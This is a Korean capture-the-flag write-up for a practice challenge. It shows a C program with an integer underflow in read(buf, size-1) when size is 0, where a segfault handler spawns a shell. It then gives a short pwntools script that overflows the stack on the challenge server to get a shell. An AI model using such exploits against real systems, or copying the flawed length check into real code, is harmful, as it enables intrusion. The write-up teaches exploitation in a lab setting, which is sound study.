

NX만 적용되어 있습니다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
get_shell 함수가 존재하며 signal(SIGSEGV, get_shell) 함수는 Segmentation Fault 시그널을 받았을 때 get_shell 함수가 실행됩니다.
read에서 크기를 size -1로 받고 read의 세 번째 인자의 자료형은 size_t, 즉 unsigned integer이므로 언더플로우를 일으킬 수 있습니다. 언더플로우를 일으켜 buf로 return address를 잘못된 주소로 덮으면 segfault가 발생해서 get_shell 함수를 실행할 수 있습니다.
if (size > 256 || size < 0) 이기 때문에 size를 큰 값으로 설정해 스택 오버플로우를 사용할 수는 없습니다. size < 0이므로 음수를 입력해 read 함수에 언더플로우를 일으킬 순 없지만 read에서 size를 size - 1로 받기 때문에 size가 0일때 언더플로우가 발생해 매우 큰 값이 됩니다. 그 후 스택의 return address를 잘못된 주소로 덮으면 segfault가 발생해 get_shell 함수가 실행되어 셸을 얻을 수 있습니다.
다음은 전체 코드입니다.
from pwn import *
p = remote("host1.dreamhack.games", 16085)
e = ELF("./sint")
p.sendlineafter(b"Size: ", b'0')
p.sendlineafter(b"Data: ", b'A'*300)
p.interactive()
실행하면 셸을 얻을 수 있습니다.
